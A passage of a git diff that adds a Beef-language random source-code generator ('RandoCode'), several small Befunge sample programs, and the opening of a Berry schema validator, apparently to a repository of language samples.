+                    TypeDef genericType = new TypeDef();
+                    genericType.mGenericParamIdx = genericIdx;
+                    genericType.mName = new String();
+					genericType.mName.Append("T");
+					mOtherTypes.Add(genericType);
+
+					mAdvList.GetName(0, 1, true, genericType.mName);
+
+                    if (genericIdx > 0)
+                        typeDef.mName.Append(", ");
+                    typeDef.mName.Append(genericType.mName);
+
+                    typeDef.mGenericParams.Add(genericType);
+                    typeDef.mTypeDefPool.Add(genericType);
+                }
+                typeDef.mName.Append(">");
+            }
+
+            typeDef.mIsStruct = sRand.NextDouble() < mConfig.mStructPct;            
+             
+            if ((mNamespaces.Count == 0) || (sRand.NextDouble() < mConfig.mNewSpacespaceChance))
+            {
+                NamespaceDef newNamespace = new NamespaceDef();
+                newNamespace.mName = new String();
+				mAdjList.GetName((float)sRand.NextDouble(), 1, true, newNamespace.mName);
+
+                if ((mNamespaces.Count > 0) && (sRand.NextDouble() >= mConfig.mRootNamespaceChance))
+                {
+                    NamespaceDef parentNamepace = mNamespaces[sRand.Next(mNamespaces.Count)];
+                    parentNamepace.mChildren.Add(newNamespace);
+                    newNamespace.mParent = parentNamepace;
+                }
+
+                mNamespaces.Add(newNamespace);
+                typeDef.mNamespace = newNamespace;
+            }
+            else
+            {
+                typeDef.mNamespace = mNamespaces[sRand.Next(mNamespaces.Count)];
+            }
+            
+            mUserTypes.Add(typeDef);
+        }
+
+        void CreateTypePool(TypeDef typeDef, int poolSize)
+        {
+            for (int poolIdx = 0; poolIdx < poolSize; poolIdx++)
+            {
+                TypeDef poolTypeDef = GetRandomTypeDef();
+                ReferenceType(poolTypeDef);
+                poolTypeDef.mUseCount++;
+                typeDef.mTypeDefPool.Add(poolTypeDef);
+            }
+        }
+
+        void PopulateType(TypeDef typeDef)
+        {
+            mCurTypeDef = typeDef;
+
+            int poolSize = (int)(GetComplexity(mConfig.mTypeDefPoolPower) * mConfig.mTypeDefPoolScalar + mConfig.mTypeDefPoolOffset);
+            CreateTypePool(typeDef, poolSize);
+            
+            int fieldCount = (int)(GetComplexity(mConfig.mFieldCountPower) * mConfig.mFieldCountScalar);
+            if (typeDef.mIsStruct)
+                fieldCount++;
+            for (int fieldIdx = 0; fieldIdx < fieldCount; fieldIdx++)
+            {
+                FieldDef fieldDef = new FieldDef();
+                fieldDef.mIsStatic = sRand.NextDouble() < mConfig.mFieldStaticPct;
+
+                // Just to make sure structs have at least one non-static member
+                if (fieldIdx == 0)
+                    fieldDef.mIsStatic = false;
+
+                // Generic statics don't currently work
+                if (typeDef.mGenericParams != null)
+                    fieldDef.mIsStatic = false;
+
+                if (fieldDef.mIsStatic)
+                {
+					fieldDef.mName = new String("s");
+					mNounList.GetName((float)sRand.NextDouble(), 1, true, fieldDef.mName);
+				}
+                else
+				{
+                    fieldDef.mName = new String("m");
+					mNounList.GetName((float)sRand.NextDouble(), 1, true, fieldDef.mName);
+				}
+                
+                fieldDef.mTypeDef = GetRandomPooledTypeDef();
+                typeDef.mFields.Add(fieldDef);
+            }
+
+            for (int methodIdx = 0; methodIdx < (int)(typeDef.mComplexity * mConfig.mMethodCountScalar); methodIdx++)
+            {
+                MethodDef methodDef = new MethodDef();
+
+                mCurMethodDef = methodDef;
+                float methodComplexity = GetComplexity(mConfig.mMethodCodeComplexityPower);
+                methodDef.mName = new String();
+				mVerbList.GetName(methodComplexity, 2, true, methodDef.mName);
+                methodDef.mComplexity = methodComplexity;
+                
+                if (sRand.NextDouble() < mConfig.mVoidReturnPct)
+                    methodDef.mReturnType = mVoidType;
+                else
+                    methodDef.mReturnType = GetRandomPooledTypeDef();
+
+                int paramCount = (int)(GetComplexity(mConfig.mParamCountPower) * mConfig.mParamCountScalar);
+                for (int paramIdx = 0; paramIdx < paramCount; paramIdx++)
+                {
+                    LocalDef localDef = new LocalDef();
+                    localDef.mName = new String();
+					mNounList.GetName((float)sRand.NextDouble(), 1, false, localDef.mName);
+                    localDef.mTypeDef = GetRandomPooledTypeDef();
+                    methodDef.mLocals.Add(localDef);
+                    methodDef.mParamCount++;
+                }
+
+                typeDef.mMethods.Add(methodDef);
+            }
+
+			MethodDef methodDef = new MethodDef();
+			methodDef.mIsStatic = true;
+			methodDef.mName = new String("Use");
+			methodDef.mReturnType = mVoidType;
+			typeDef.mMethods.Add(methodDef);
+        }
+
+        void DelTree(StringView dirName)
+        {
+			Debug.Assert(!dirName.IsEmpty);
+
+			if (!Directory.Exists(dirName))
+				return;
+
+            for (var subDir in Directory.EnumerateDirectories(dirName))
+            {
+				var filePath = scope String();
+				subDir.GetFilePath(filePath);
+                DelTree(filePath);
+            }
+
+            for (var file in Directory.EnumerateFiles(dirName))
+            {
+				var filePath = scope String();
+				file.GetFilePath(filePath);
+                if (filePath.EndsWith(".bf"))
+                {
+                    File.Delete(filePath);
+                }
+            }
+        
+            Directory.Delete(dirName);
+        }
+
+        FieldDef FindField(TypeDef inside, TypeDef wantTypeDef)
+        {
+            for (var field in inside.mFields)
+            {
+                if (field.mTypeDef == wantTypeDef)
+                {
+                    if (field.mName == "sTar")
+                    {
+                        NOP!();
+                    }
+                    return field;
+                }
+            }
+            return null;
+        }
+
+        void FindData(TypeDef typeDef, String outStr)
+        {
+            for (int pass = 0; pass < 10; pass++)
+            {
+                int targetCategory = (int)(GetComplexity(1.0f) * 3);
+                
+                if (targetCategory == 0) // 'This'
+                {
+                    if (typeDef == mCurTypeDef)
+                    {
+						outStr.Append("this");
+						return;
+					}
+                }
+
+                if ((targetCategory == 1) && (mCurTypeDef.mFields.Count > 0)) // Field
+                {
+                    var fieldDef = mCurTypeDef.mFields[(int)(sRand.NextDouble() * mCurTypeDef.mFields.Count)];
+                    if (fieldDef.mTypeDef == typeDef)
+					{
+                        outStr.Append(fieldDef.mName);
+						return;
+					}
+                    FieldDef subFieldDef = FindField(fieldDef.mTypeDef, typeDef);
+                    if (subFieldDef != null)
+                    {
+                        if (subFieldDef.mName == "sTar")
+                        {
+                            
+                        }
+
+                        if (subFieldDef.mIsStatic)
+						{
+                            outStr.Append(fieldDef.mTypeDef.mName, ".", subFieldDef.mName);
+							return;
+						}
+                        else
+						{
+                            outStr.Append(fieldDef.mName, ".", subFieldDef.mName);
+							return;
+						}
+                    }
+                }
+
+                if ((targetCategory == 2) && (mCurMethodDef.mLocals.Count > 0)) // Param / Local
+                {
+                    var localDef = mCurMethodDef.mLocals[(int)(sRand.NextDouble() * mCurMethodDef.mLocals.Count)];
+                    if (localDef.mTypeDef == typeDef)
+					{
+                        outStr.Append(localDef.mName);
+						return;
+					}
+                    FieldDef subFieldDef = FindField(localDef.mTypeDef, typeDef);
+                    if (subFieldDef != null)
+                    {
+                        if (subFieldDef.mIsStatic)
+						{
+                            outStr.Append(localDef.mTypeDef.mName, ".", subFieldDef.mName);
+							return;
+						}
+                        else
+						{
+                            outStr.Append(localDef.mName, ".", subFieldDef.mName);
+							return;
+						}
+                    }
+                }
+            }
+
+            if (typeDef.mIsPrimitive)
+			{
+                outStr.Append("0");
+				return;
+			}
+            if ((!typeDef.mIsStruct) && (typeDef.mGenericParamIdx == -1))
+			{
+				outStr.Append("null");
+				return;
+			}
+        }
+
+        void WriteLine()
+        {
+            WriteLine("");
+        }
+
+        void WriteLine(String str)
+        {
+            mLineCount++;
+            mWroteLine = true;
+            for (int i = 0; i < mIndentCount; i++)
+                mQueuedText.Append("\t");
+            mQueuedText.Append(str, "\n");
+        }
+
+        void WriteLine(String str, params Object[] args)
+        {                       
+            WriteLine(scope String()..AppendF(str, params args));
+        }
+
+        void ReferenceType(TypeDef typeDef)
+        {
+            if (typeDef.mNamespace != null)
+                mCurTypeDef.mUsingNamespaces.Add(typeDef.mNamespace);
+            if (typeDef.mGenericParams != null)
+            {
+                for (var genericParam in typeDef.mGenericParams)
+                    ReferenceType(genericParam);
+            }
+        }
+
+        String GetRandomTarget(out TypeDef targetType)
+        {
+            int targetCategory = (int)(GetComplexity(1.0f) * 3);
+
+            if (targetCategory == 0) // 'This'
+            {                
+                targetType = mCurTypeDef;
+                return "";
+            }
+
+            if ((targetCategory == 1) && (mCurTypeDef.mFields.Count > 0)) // Field
+            {
+                var fieldDef = mCurTypeDef.mFields[(int)(sRand.NextDouble() * mCurTypeDef.mFields.Count)];                
+                targetType = fieldDef.mTypeDef;
+                return fieldDef.mName;
+            }
+
+            if ((targetCategory == 2) && (mCurMethodDef.mLocals.Count > 0)) // Param / Local
+            {
+                var localDef = mCurMethodDef.mLocals[(int)(sRand.NextDouble() * mCurMethodDef.mLocals.Count)];                
+                targetType = localDef.mTypeDef;
+                return localDef.mName;
+            }
+
+            targetType = null;
+            return null;
+        }
+
+        MethodDef GenerateMethodCall(String methodTarget, TypeDef targetType)
+        {
+            if (targetType != null)
+            {
+                if (targetType.mMethods.Count > 0)
+                {
+                    var methodDef = targetType.mMethods[sRand.Next(targetType.mMethods.Count)];
+					if (methodDef.mIsStatic)
+						return null;
+
+                    String[] targets = scope String[methodDef.mParamCount];
+                    bool paramsMatch = true;
+                    for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)
+                    {
+                        var paramDef = methodDef.mLocals[paramIdx];
+                        targets[paramIdx] = scope:: String();
+						FindData(paramDef.mTypeDef, targets[paramIdx]);
+                        if (targets[paramIdx].IsEmpty)
+                            paramsMatch = false;
+                    }
+
+                    if (paramsMatch)
+                    {
+                        String str = scope String();
+
+                        bool didAssign = false;
+                        if (sRand.NextDouble() < mConfig.mAssignMemberPct)
+                        {
+                            for (var fieldDef in mCurTypeDef.mFields)
+                            {
+                                if (fieldDef.mTypeDef == methodDef.mReturnType)
+                                {
+                                    str.Append(fieldDef.mName, " = ");
+                                    didAssign = true;
+                                    break;
+                                }
+                            }
+                        }
+
+                        if ((!didAssign) && (sRand.NextDouble() < mConfig.mCreateLocalPct) && (methodDef.mReturnType != mVoidType))
+                        {
+                            ReferenceType(methodDef.mReturnType);
+
+                            LocalDef localDef = new LocalDef();
+                            localDef.mName = new String();
+							mNounList.GetName((float)sRand.NextDouble(), 1, false, localDef.mName);
+                            localDef.mTypeDef = methodDef.mReturnType;
+                            mCurMethodDef.mLocals.Add(localDef);
+                            str.Append(localDef.mTypeDef.mName);
+                            str.Append(" ");
+                            str.Append(localDef.mName);
+                            str.Append(" = ");
+                        }
+
+                        str.Append(methodTarget);
+                        if (methodTarget != "")
+                            str.Append(".");
+                        str.Append(methodDef.mName);
+                        str.Append("(");
+                        for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)
+                        {
+                            if (paramIdx > 0)
+                                str.Append(", ");
+                            str.Append(targets[paramIdx]);
+                        }
+                        str.Append(");");
+                        WriteLine(str);
+                        return methodDef;
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        MethodDef GenerateMethodCall()
+        {            
+            TypeDef targetType = null;
+            String methodTarget = GetRandomTarget(out targetType);
+            return GenerateMethodCall(methodTarget, targetType);  
+        }
+
+        void PopLocal()
+        {            
+            var localDef = mCurMethodDef.mLocals.PopBack();
+			delete localDef;
+        }
+
+        void GetBoolExpression(String outStr)
+        {
+            TypeDef targetType;
+            String checkTarget = GetRandomTarget(out targetType);
+            if (checkTarget == null)
+                return;
+            if (checkTarget == "")
+                checkTarget = "this";
+
+            if (targetType.mIsStruct)
+                return;
+            if (targetType.mGenericParamIdx != -1)
+                return;
+
+            String rhs = scope String();
+			FindData(targetType, rhs);
+            if ((rhs != null) && (checkTarget != rhs))
+            {
+				outStr.Append(checkTarget, " != ", rhs);
+				return;
+			}
+
+            if (targetType.mIsPrimitive)
+            {
+				outStr.Append(checkTarget, " != 0");
+				return;
+			}
+            outStr.Append(checkTarget, " != null");
+        }
+
+        void GenerateMainBlock()
+        {
+            WriteLine("{");
+            mIndentCount++;
+
+            for (var pooledType in mUserTypes)
+            {
+				if (pooledType.mIsPrimitive)
+					continue;
+				if (pooledType.mIsUnspecializedGeneric)
+					continue;
+				if (pooledType.mName == "Program")
+					continue;
+
+				var line = scope String();
+				pooledType.GetFullName(line);
+				line.Append(".Use();");
+				WriteLine(line);
+            }
+			WriteLine("return 0;");
+            mIndentCount--;
+            WriteLine("}");
+        }
+
+		void GenerateUseBlock()
+		{
+		    WriteLine("{");
+		    mIndentCount++;
+
+			var line = scope String();
+			mCurTypeDef.GetFullName(line);
+
+			line.Append(" val = ");
+			if (!mCurTypeDef.mIsStruct)
+				line.Append("new ");
+			mCurTypeDef.GetFullName(line);
+
+			line.Append("();");
+
+			WriteLine(line);
+
+			for (var method in mCurTypeDef.mMethods)
+			{
+				if (method.mIsStatic)
+					continue;
+				line.Clear();
+				line.Append("val.", method.mName);
+				line.Append("(");
+				for (int argIdx < method.mParamCount)
+				{
+					if (argIdx > 0)
+						line.Append(", ");
+					line.Append("default");
+				}
+				line.Append(");");
+				WriteLine(line);
+			}
+
+			mIndentCount--;
+			WriteLine("}");
+		}
+
+        void GenerateBlock()
+        {
+            int prevLocalIdx = mCurMethodDef.mLocals.Count;
+
+            WriteLine("{");
+            mIndentCount++;
+
+			int methodLength = (int)(mCurMethodDef.mComplexity * mConfig.mMethodLengthScalar);
+
+            mWroteLine = false;
+            //while (true)
+			for (int stmtIdx < methodLength)
+            {
+                /*if (mCurMethodDef.mStatementCount > 0)
+                    mCurMethodDef.mStatementCount--;
+                else if ((mWroteLine) && ((0.93 + mCurMethodDef.mComplexity * 0.03) < sRand.NextDouble()))
+                    break;*/
+
+                if (sRand.NextDouble() < 0.5f)
+                {
+                    GenerateMethodCall();                    
+                }
+                
+                if (sRand.NextDouble() < 0.05f / mIndentCount)
+                {
+                    String localVarName = new String()..AppendF("{0}", (char8)('i' + mIndentCount - 3));
+                    
+                    String toVal = scope String();
+					FindData(mPrimitives[0], toVal);
+                    if (toVal.IsEmpty)
+                    {
+						toVal = scope:: String();
+						sRand.Next(1000).ToString(toVal);
+					}
+
+                    LocalDef localDef = new LocalDef();
+                    localDef.mName = localVarName;
+                    localDef.mTypeDef = mPrimitives[0];
+                    mCurMethodDef.mLocals.Add(localDef);
+
+                    WriteLine("for (int {0} = 0; {0} < {1}; {0}++)", localVarName, toVal);
+                    GenerateBlock();
+
+                    PopLocal();
+                }
+
+                if (sRand.NextDouble() < 0.05f / mIndentCount)
+                {
+                    String boolExpr = scope String();
+					GetBoolExpression(boolExpr);
+                    if (!boolExpr.IsEmpty)
+                    {
+                        WriteLine("if ({0})", boolExpr);
+                        GenerateBlock();
+                        if (sRand.NextDouble() < 0.35f)
+                        {
+                            WriteLine("else");
+                            GenerateBlock();
+                        }
+                    }
+                }
+            }
+
+            if (mIndentCount == mStartIndentCount + 1)
+            {
+                if (mCurMethodDef.mReturnType.mName != "void")
+                {
+                    String retValName = scope String();
+					FindData(mCurMethodDef.mReturnType, retValName);
+                    if (retValName.IsEmpty)
+                        retValName.Append("default(", mCurMethodDef.mReturnType.mName, ")");
+                    WriteLine("return {0};", retValName);
+                }
+            }
+
+            mIndentCount--;
+            WriteLine("}");
+
+            while (mCurMethodDef.mLocals.Count > prevLocalIdx)
+                PopLocal();
+        }
+
+        TypeDef FixType(TypeDef typeDef)
+        {
+            if (typeDef.mGenericParamIdx != -1)
+                return mCurTypeDef.mGenericParams[typeDef.mGenericParamIdx];
+            return typeDef;
+        }
+
+        void SpecializeType(TypeDef unspecializedType)
+        {
+            TypeDef specializedType = new TypeDef();
+            mCurTypeDef = specializedType;
+            specializedType.mName = new String();
+			unspecializedType.GetRootName(specializedType.mName);
+            specializedType.mIsSpecializedGeneric = true;
+            specializedType.mGenericParams = new List<TypeDef>();
+            specializedType.mIsStruct = unspecializedType.mIsStruct;
+            specializedType.mNamespace = unspecializedType.mNamespace;
+            specializedType.mName.Append("<");
+            for (int genericIdx = 0; genericIdx < unspecializedType.mGenericParams.Count; genericIdx++)                
+            {
+                if (genericIdx > 0)
+                    specializedType.mName.Append(", ");
+                var genericArg = GetRandomTypeDef();
+                //specializedType.mName.Append(genericArg.mName);
+				genericArg.GetFullName(specializedType.mName);
+                specializedType.mGenericParams.Add(genericArg);
+            }
+            specializedType.mName.Append(">");
+
+            for (var srcFieldDef in unspecializedType.mFields)
+            {
+                FieldDef destFieldDef = new FieldDef();
+                destFieldDef.mName = new String(srcFieldDef.mName);
+                destFieldDef.mTypeDef = FixType(srcFieldDef.mTypeDef);
+                destFieldDef.mIsStatic = srcFieldDef.mIsStatic;
+                specializedType.mFields.Add(destFieldDef);
+            }
+
+            for (var srcMethodDef in specializedType.mMethods)
+            {
+                MethodDef destMethodDef = new MethodDef();
+                destMethodDef.mName = new String(srcMethodDef.mName);
+                destMethodDef.mReturnType = FixType(srcMethodDef.mReturnType);
+                destMethodDef.mParamCount = srcMethodDef.mParamCount;
+                for (var localDef in srcMethodDef.mLocals)
+                {
+                    LocalDef destLocalDef = new LocalDef();
+                    destLocalDef.mName = new String(localDef.mName);
+                    destLocalDef.mTypeDef = FixType(localDef.mTypeDef);
+                    destMethodDef.mLocals.Add(destLocalDef);
+                }
+                specializedType.mMethods.Add(destMethodDef);
+            }
+            mUserTypes.Add(specializedType);
+        }
+
+		void ProgressStart()
+		{
+			if (cProgressSize > 0)
+			{
+				String str = scope String();
+				str.Append("[");
+				str.Append(' ', cProgressSize);
+				str.Append("]");
+				str.Append('\b', cProgressSize + 1);
+				Console.Write(str);
+			}
+		}
+
+		int mProgressIdx = 0;
+		void WriteProgress(float pct)
+		{
+			int progressIdx = (int)Math.Round(pct * cProgressSize);
+			while (progressIdx > mProgressIdx)
+			{
+				mProgressIdx++;
+				Console.Write("*");
+			}
+		}
+
+		const int cProgressSize = 30;
+
+        void Run()
+        {
+            CreatePrimitives();
+
+            DelTree(mBaseDir);
+
+            mAdjList = CreateWordGroup("adj");
+            mAdvList = CreateWordGroup("adv");
+            mNounList = CreateWordGroup("noun");
+            mVerbList = CreateWordGroup("verb");
+
+            for (int typeIdx = 0; typeIdx < mConfig.mTypeCount; typeIdx++)
+                GenerateType();
+            
+            for (int typeIdx = 0; typeIdx < mUserTypes.Count; typeIdx++ )
+            {
+                TypeDef typeDef = mUserTypes[typeIdx];                                
+                if (typeDef.mIsUnspecializedGeneric)
+                {
+                    PopulateType(typeDef);
+                    int specializeCount = (int)(GetComplexity(mConfig.mSpecializedTypePower) * mConfig.mUnspecializedTypeScalar);
+                    for (int specializedIdx = 0; specializedIdx < specializeCount; specializedIdx++)
+                        SpecializeType(typeDef);
+                }
+            }
+
+            for (int typeIdx = 0; typeIdx < mUserTypes.Count; typeIdx++)
+            {
+                TypeDef typeDef = mUserTypes[typeIdx];
+                if ((!typeDef.mIsUnspecializedGeneric) && (!typeDef.mIsSpecializedGeneric))
+                    PopulateType(typeDef);
+            }
+
+            {
+                TypeDef typeDef = new TypeDef();
+                typeDef.mName = new String("Program");
+
+                MethodDef methodDef = new MethodDef();
+                methodDef.mName = new String("Main");
+				methodDef.mParamCount = 1;
+
+				var arrTypeDef = new TypeDef();
+				arrTypeDef.mName = new String("System.String[]");
+				mOtherTypes.Add(arrTypeDef);
+
+				LocalDef localDef = new LocalDef();
+				localDef.mName = new String("args");
+				localDef.mTypeDef = arrTypeDef;
+				
+				methodDef.mLocals.Add(localDef);
+                methodDef.mStatementCount = mUserTypes.Count + mPrimitives.Count;
+                methodDef.mReturnType = mPrimitives[2];
+				methodDef.mIsStatic = true;
+                typeDef.mMethods.Add(methodDef);
+
+                mCurTypeDef = typeDef;
+                CreateTypePool(typeDef, mUserTypes.Count + mPrimitives.Count);
+
+                mUserTypes.Add(typeDef);
+            }
+
+			if (!mVerbose)
+				ProgressStart();
+
+            int specializedTypes = 0;
+            int unspecializedTypes = 0;
+            for (var typeDef in mUserTypes)
+			UserTypeBlock:
+            {
+				var typeFullName = scope String();
+				typeDef.GetFullName(typeFullName);
+
+                if (typeDef.mIsSpecializedGeneric)
+                {
+                    specializedTypes++;
+					if (mVerbose)
+                    	Console.WriteLine("Skipping type: {0} uses: {1}", typeFullName, typeDef.mUseCount);
+                    continue;
+                }
+
+                if (typeDef.mIsUnspecializedGeneric)
+                    unspecializedTypes++;
+				if (mVerbose)
+                	Console.WriteLine("Writing type: {0} uses: {1}", typeFullName, typeDef.mUseCount);
+
+                String directory = scope String();
+                String namespaceStr = scope String();
+                if (typeDef.mNamespace != null)
+                {
+					typeDef.mNamespace.GetFullName(namespaceStr);
+                    directory.Append(mBaseDir, "/");
+					directory.Replace('.', '/');
+                }
+                else
+                {
+                    directory.Append(mBaseDir);
+                }
+                
+                //StringWriter StringWriter = new StringWriter();
+                //mFile = StringWriter;
+
+                String fullPath = scope String()..Append(directory, "/");
+				typeDef.GetRootName(fullPath);
+				fullPath.Append(".bf");
+
+                FileStream file = scope FileStream();
+				bool isOpen = false;
+
+                for (int i = 0; i < 500; i++)
+                {
+                    Directory.CreateDirectory(directory).IgnoreError();
+
+					if (file.Create(fullPath) case .Ok)
+					{
+						isOpen = true;
+						break;
+					}
+                    Thread.Sleep(10);
+                }
+
+				if (!isOpen)
+					Runtime.FatalError("Unable to create file");
+
+				StreamWriter streamWrite = scope .(file, Encoding.UTF8, 4096);
+
+                mCurTypeDef = typeDef;
+                //mFile = file;
+                mIndentCount = 0;
+
+                WriteLine("// RandoCode seed: {0}", mSeed);
+                WriteLine("#pragma warning disable 0168");
+
+                WriteLine();
+                if (!namespaceStr.IsEmpty)
+                {
+                    WriteLine("namespace {0}", namespaceStr);
+                    WriteLine("{");
+                    mIndentCount++;
+                }                
+                String typeStr = scope String();
+                if (typeDef.mIsStruct)
+                    typeStr.Append("struct ");
+                else
+                    typeStr.Append("class ");
+                typeStr.Append(typeDef.mName);
+                WriteLine(typeStr);
+                WriteLine("{");
+                mIndentCount++;
+
+                for (var fieldDef in typeDef.mFields)
+                {
+                    String str = scope String("public ");
+                    if (fieldDef.mIsStatic)
+                        str.Append("static ");
+                    str.Append(fieldDef.mTypeDef.mName);
+                    str.Append(" ");
+                    str.Append(fieldDef.mName);
+                    str.Append(";");
+                    WriteLine(str);
+                }
+                
+                for (int methodIdx = 0; methodIdx < typeDef.mMethods.Count; methodIdx++)
+                {
+                    WriteLine();
+                    var methodDef = typeDef.mMethods[methodIdx];
+                    mCurMethodDef = methodDef;                    
+                    String str = scope String("public ");
+
+					if (methodDef.mIsStatic)
+						str.Append("static ");
+
+                    str.Append(methodDef.mReturnType.mName);
+                    str.Append(" ");
+
+                    str.Append(methodDef.mName);
+                    str.Append("(");
+                    for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)
+                    {
+                        if (paramIdx > 0)
+                            str.Append(", ");
+
+                        var paramDef = methodDef.mLocals[paramIdx];
+                        str.Append(paramDef.mTypeDef.mName);
+                        str.Append(" ");
+                        str.Append(paramDef.mName);
+                    }
+                    str.Append(")");
+
+					if (typeDef.mIsStruct)
+						str.Append("mut ");
+
+                    WriteLine(str);
+                    mStartIndentCount = mIndentCount;
+                    if (methodDef.mName == "Main")
+                        GenerateMainBlock();
+					else if (methodDef.mName == "Use")
+                        GenerateUseBlock();
+                    else
+                        GenerateBlock();                    
+                }
+
+                mIndentCount--;
+                WriteLine("}");
+                if (!namespaceStr.IsEmpty)
+                {
+                    mIndentCount--;
+                    WriteLine("}");
+                }
+
+                for (var namespaceDef in typeDef.mUsingNamespaces)
+				{
+					var namespaceName = scope String();
+					namespaceDef.GetFullName(namespaceName);
+                    streamWrite.WriteLine("using {0};", namespaceName);
+				}
+                streamWrite.Write(mQueuedText);
+				mQueuedText.Clear();
+
+                file.Close();
+
+				if (!mVerbose)
+					WriteProgress(@typeDef.Index / (float)mUserTypes.Count);
+            }
+			if (!mVerbose)
+				Console.WriteLine("");
+
+            Console.WriteLine("Types: {0} UnspecializedGenerics: {1} SpecializedGenerics: {2} Lines: {3}", mUserTypes.Count, unspecializedTypes, specializedTypes, mLineCount);
+        }
+
+		void HandleConfig(String configPath)
+		{
+			StructuredData sd = scope StructuredData();
+			sd.Load(configPath);
+
+			sd.Get("TypeCount", ref mConfig.mTypeCount);
+			sd.Get("PrimitiveTypeChance", ref mConfig.mPrimitiveTypeChance);
+			sd.Get("StructPct", ref mConfig.mStructPct);
+			sd.Get("TypeComplexityPower", ref mConfig.mTypeComplexityPower);
+			sd.Get("CreateGenericTypePct", ref mConfig.mCreateGenericTypePct);
+			sd.Get("SpecializedTypePower", ref mConfig.mSpecializedTypePower);
+			sd.Get("UnspecializedTypeScalar", ref mConfig.mUnspecializedTypeScalar);
+			sd.Get("TypeDefPoolPower", ref mConfig.mTypeDefPoolPower);
+			sd.Get("TypeDefPoolOffset", ref mConfig.mTypeDefPoolOffset);
+			sd.Get("TypeDefPoolScalar", ref mConfig.mTypeDefPoolScalar);
+			sd.Get("FieldCountPower", ref mConfig.mFieldCountPower);
+			sd.Get("FieldCountScalar", ref mConfig.mFieldCountScalar);
+			sd.Get("FieldStaticPct", ref mConfig.mFieldStaticPct);
+			sd.Get("VoidReturnPct", ref mConfig.mVoidReturnPct);
+			sd.Get("MethodCodeComplexityPower", ref mConfig.mMethodCodeComplexityPower);
+			sd.Get("MethodLengthScalar", ref mConfig.mMethodLengthScalar);
+			sd.Get("MethodCountScalar", ref mConfig.mMethodCountScalar);
+			sd.Get("AssignMemberPct", ref mConfig.mAssignMemberPct);
+			sd.Get("CreateLocalPct", ref mConfig.mCreateLocalPct);
+			sd.Get("ParamCountPower", ref mConfig.mParamCountPower);
+			sd.Get("ParamCountScalar", ref mConfig.mParamCountScalar);
+			sd.Get("NewSpacespaceChance", ref mConfig.mNewSpacespaceChance);
+			sd.Get("RootNamespaceChance", ref mConfig.mRootNamespaceChance);
+		}
+
+        static void Main(String[] args)
+        {
+			if (args.Count == 0)
+			{
+				Console.WriteLine("Usage: RandoCode <configFile>");
+				return;
+			}
+
+			String cwd = scope String();
+			Directory.GetCurrentDirectory(cwd);
+
+            Program pg = new Program();
+			pg.HandleConfig(args[0]);
+            pg.Run();
+			delete pg;
+        }
+    }
+}
diff --git a/samples/Befunge/aturley.bf b/samples/Befunge/aturley.bf
new file mode 100644
index 0000000000..5ed30e1b99
--- /dev/null
+++ b/samples/Befunge/aturley.bf
@@ -0,0 +1,4 @@
+>84*>:#v_55+"ude.ub@yelruta">:#,_@>188*+>\02p\12p\:22p#v_$    55+,1-         v
+    ^  0 v +1\                   _^#-+*<               >22g02g*"_@"*-!1- #v_v>
+       >:>::3g: ,\188                  ^^               -1\g21\g22<p3\"_":<
+________________________________@_________________________________^  p3\"@":<
\ No newline at end of file
diff --git a/samples/Befunge/beer7.bf b/samples/Befunge/beer7.bf
new file mode 100644
index 0000000000..e205260e64
--- /dev/null
+++ b/samples/Befunge/beer7.bf
@@ -0,0 +1,19 @@
+5:*4*1-           >:1    v
+           v.:<
+           #  |:\<       <     
+>v"No more "0 <          0     
+,:                       :     
+^_$        v             |!-1       <
+>v"bottle"0<      | :,*25<                          
+,:           >"s"v@      
+^_$1-        |   ,
+>v" of beer"0<   <
+,:               >v                    
+^_$            :!|    
+>v" on the wall"0<
+,:                     >"."v
+^_$               >:2-!|
+                       >",">,25*,:  |
+>v"Take one down, pass it around,"0$<       
+,:                                                  
+^_$25*,1-      :2v
\ No newline at end of file
diff --git a/samples/Befunge/befunge3.bf b/samples/Befunge/befunge3.bf
new file mode 100644
index 0000000000..75bd4427be
--- /dev/null
+++ b/samples/Befunge/befunge3.bf
@@ -0,0 +1,5 @@
+Bef ung e-9 3 r ock s!* #^<
+^ $ -   0   1 _ 2 ^ @   <
+v+  +:  :7  : + < * 0 : *<
+> - 1   1   - v 1 > + , ^
+>:0 g,: 4   %2- | 8 '97 BEM
\ No newline at end of file
diff --git a/samples/Befunge/cascade.bf b/samples/Befunge/cascade.bf
new file mode 100644
index 0000000000..ecb3b0e0e7
--- /dev/null
+++ b/samples/Befunge/cascade.bf
@@ -0,0 +1,4 @@
+>011p013p>11g13gg:84*`#v_84*>11g13g4+p$v
+#     13p^p11         <>    ^        >  
+          v                            <
+#     13pv>11g1+:85*-#^_011p13g1+:4%#^_
\ No newline at end of file
diff --git a/samples/Befunge/mycorand.bf b/samples/Befunge/mycorand.bf
new file mode 100644
index 0000000000..57628e50ec
--- /dev/null
+++ b/samples/Befunge/mycorand.bf
@@ -0,0 +1,16 @@
+p4v       p00+1g00      <<<<<                                                 v<
+  #>                   :    |                                                 ,"
+  > 1- :2+"^"\7p "^"32p:   |                                                  ,t
+ v? 1- :2+">"\7p "^"33p:  |                                                   ,i
+  > 1- :2+"v"\7p "^"34p: |                                                    ,m
+ >  1- :2+"<"\7p "^"35p:|                                                     ,e
+v                    +55<<<<<                             p6+1*36*88p6*54-1*95<"
+>"     redro eht ni detareneg erew snoitcerid ehT">:#,_" tem saw ?">:#,_g1+."s"^
+
+After going in a direction:
+	Subtract one from the counter
+	Place >^v<, according to which direction was taken, in the string
+	Setup the following being done every time this path is taken again, then do it:
+		If the counter is zero, output the number of tries needed and the order of >^v< and stop
+		Add one to the number of tries needed
+		Go back to the ?
diff --git a/samples/Berry/berry_schema_validator.be b/samples/Berry/berry_schema_validator.be
new file mode 100644
index 0000000000..7adec7bbf9
--- /dev/null
+++ b/samples/Berry/berry_schema_validator.be
@@ -0,0 +1,279 @@
+# A berry schema validator similar to a json schema validator
+
+import persist
+
+var sv = module('sv')
+
+sv.regex = 'regex'
+sv.time = 'time'
+
+def gettype(data)
+    var t = type(data)
+    return t == 'instance' ? classname(data) : t
+end
+
+class PatternMatch
+    static formats = {}
+    static def load()
+        if persist.has('sv_formats')
+            PatternMatch.formats = persist.sv_formats
+        else
+            persist.sv_formats = {
+                "%H:%M": {
+                    "validator": "time",
+                    "pattern": "%H:%M"
+                }
+            }
+            PatternMatch.formats = persist.sv_formats
+        end
+    end
+end
+
+class FormatValidator
+    var _compiled
+    def init()
+        self._compiled = {}
+    end
